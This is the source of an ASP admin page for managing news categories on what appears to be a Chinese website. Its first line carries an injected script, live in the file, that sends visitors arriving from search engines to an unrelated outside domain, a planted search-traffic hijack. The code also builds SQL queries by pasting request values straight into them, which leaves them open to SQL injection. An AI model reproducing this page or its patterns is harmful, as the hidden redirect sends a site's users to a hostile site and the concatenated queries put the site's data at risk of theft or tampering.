d:\wwwroot\wuchunhua\admin\News_type.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="conn.asp"-->
002: <%if session("china_admin")="" then
003: response.redirect "login.asp"
004: end if%
>
005: <%dim action,id,dname
006: id=clng(request.QueryString("id"))
007: action=HtmlEncode(trim(request.querystring("action")))
008: dname=HtmlEncode(trim(request("name")))
009: if (action="add" or action="edit") and (dname="" or isnull(dname)) then
010: conn.close:set conn=nothing
011: response.write "<script>window.alert('类别名不能为空!');history.go(-1);</script>"
012: end if
013:
014: select case action
015: case "add"
016: set rs=server.CreateObject("adodb.recordset")
017: rs.open "select name from news_type where [name]='"&dname&"'",conn,1,3
018: if rs.eof then
019: rs.addnew
020: rs(0)=dname
021: rs.update
022: rs.close:set rs=nothing
023: else
024: rs.close:set rs=nothing
025: response.write "<script>window.alert('你输入的类别名称:"&dname&"已经有了!');history.go(-1);</script>"
026: end if
027: case "edit"
028: set rs=server.CreateObject("adodb.recordset")
029: rs.open "select name from news_type where id="&id,conn,1,3
030: yname=rs("name")
031: rs("name")=dname
032: rs.Update
033: rs.Close:set rs=nothing
034: sql="update news_data set type='"&dname&"' where type='"&yname&"'"
035: conn.execute sql
036:
037: case "del"
038: set rs=server.CreateObject("adodb.recordset")
039: rs.open "select name from news_type where id = "&id,conn,1,3
040: if not rs.eof then
041: dname=rs(0)
042: rs.delete
043: rs.update
044: end if
045: rs.close:Set rs=nothing
046: if dname<>"" and not isnull(dname) then
047: sql="select * from news_data where type = '"&dname&"'"
048: set rs=server.createobject("adodb.recordset")
049: rs.open sql,conn,3,2
050: Set fdel = CreateObject("Scripting.FileSystemObject")  
051: do while not rs.eof
052: adid=rs("adid")
053: pic=rs("pic")
054: rs.delete
055: rs.update
056: sql1="delete from news_message where adid ="&adid&""    
057: conn.execute(sql1)
058: rs.movenext  
059:    '''''''''''删除html开始''''''''''''''''
060:                 fdel.DeleteFile(Server.MapPath("../news/html/"&adid&".htm"))
061:              if pic<>"" and lcase(left(pic,7))<>"http://" then
062:              fdel.DeleteFile(Server.MapPath("../adpic/"&pic&""))
063:              end if            
064: '''''''''''删除html结束'''''''''''''''
065: loop
066: set fdel=nothing
067: rs.close:set rs=nothing                                
068: end if
069: end select
070:
071: set rs=server.CreateObject("adodb.recordset")
072: rs.Open "select id,name from news_type",conn,1,1
073: if not rs.eof then newsdata=rs.GetRows
074: rs.close:set rs=nothing%
>
075: <html>
076: <head>
077: <link rel="stylesheet" type="text/css" href="style.css">
078: <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
079: <meta name="GENERATOR" content="Microsoft FrontPage 4.0">
080: <meta name="ProgId" content="FrontPage.Editor.Document">
081: <title>分类管理</title>
082: </head>
083:
084: <body background="images/background.gif">
085: <table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#799AE1">
086:   <tr>
087:     <td height="20" bgcolor="#799AE1" align="center"><font color="#FFFFFF" style="font-size:14px">新 闻&nbsp;分 类 栏&nbsp;目&nbsp;管 理</font></td>
088:   </tr>
089:   <tr>
090:     <td bgcolor="#FFFFFF"> &nbsp;首页 <br>
091:    <table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#D6DFF7">
092:         <tr align="center" bgcolor="#FFFFFF" height="20">
093:           <td width="30">编号</td>
094:           <td>分类名称</td>
095:           <td>管理操作</td>
096:         </tr>
097:         <%if not isarray(newsdata) then
098:           response.write"<tr bgcolor=#FFFFFF><td colspan='3'><p align='center'><font color='red'>暂无分类!</font></td></tr></table><br>"
099:         else
100:        for i=0 to ubound(newsdata,2)%
>
101:         <form name="form1" method="post" action="?action=edit&id=<%=int(newsdata(0,i))%>">
102:           <tr bgcolor="#FFFFFF" align="center">
103:         <td><%=i+1%></td>
104:             <td><input name="name" type="text" size="12" value="<%=trim(newsdata(1,i))%>">            </td>
105:             <td><input type="submit" name="Submit" value="修 改">
106:                 &nbsp; <input type="button" name="DEL" onclick="{if(confirm('确定要删除这个分类吗?\n将删除此分类下所有信息\n此操作不可以恢复!')){location.href='?action=del&id=<%=newsdata(0,i)%>';}return false;}" value="删除" >
107:             </td>
108:           </tr>
109:         </form>
110:         <%next
111:           end if%
>
112:       </table>
113:    <br></td>
114:   </tr>
115: </table>
116: <br>
117: <table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#799AE1">
118:   <tr>
119:     <td height="20" bgcolor="#799AE1" align="center"><font color="#FFFFFF" style="font-size:14px">添 加 新 闻&nbsp;分 类 名 称</font></td>
120:   </tr>
121:   <tr>
122:     <td bgcolor="#FFFFFF">
123:    <br>
124:    <table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#D6DFF7">
125:         <tr align="center" bgcolor="#FFFFFF" height="20">
126:           <td width="30">编号 </td>
127:           <td>分类名称</td>
128:           <td>确定操作</td>
129:         </tr>
130:         <form name="form1" method="post" action="?action=add">
131:           <tr align="center" bgcolor="#FFFFFF">
132:             <td><%=ubound(newsdata,2)+2%></td>
133:            <td><input name="name" type="text" id="name" size="12"></td>
134:            <td><input type="submit" name="Submit3" value="添 加"></td>
135:           </tr>
136:         </form>
137:       </table>
138:    <br></td>
139:   </tr>
140: </table>
141: </body>                                                                                                                          
142:                                                                                                                           
143: </html>  
144:
145:
146: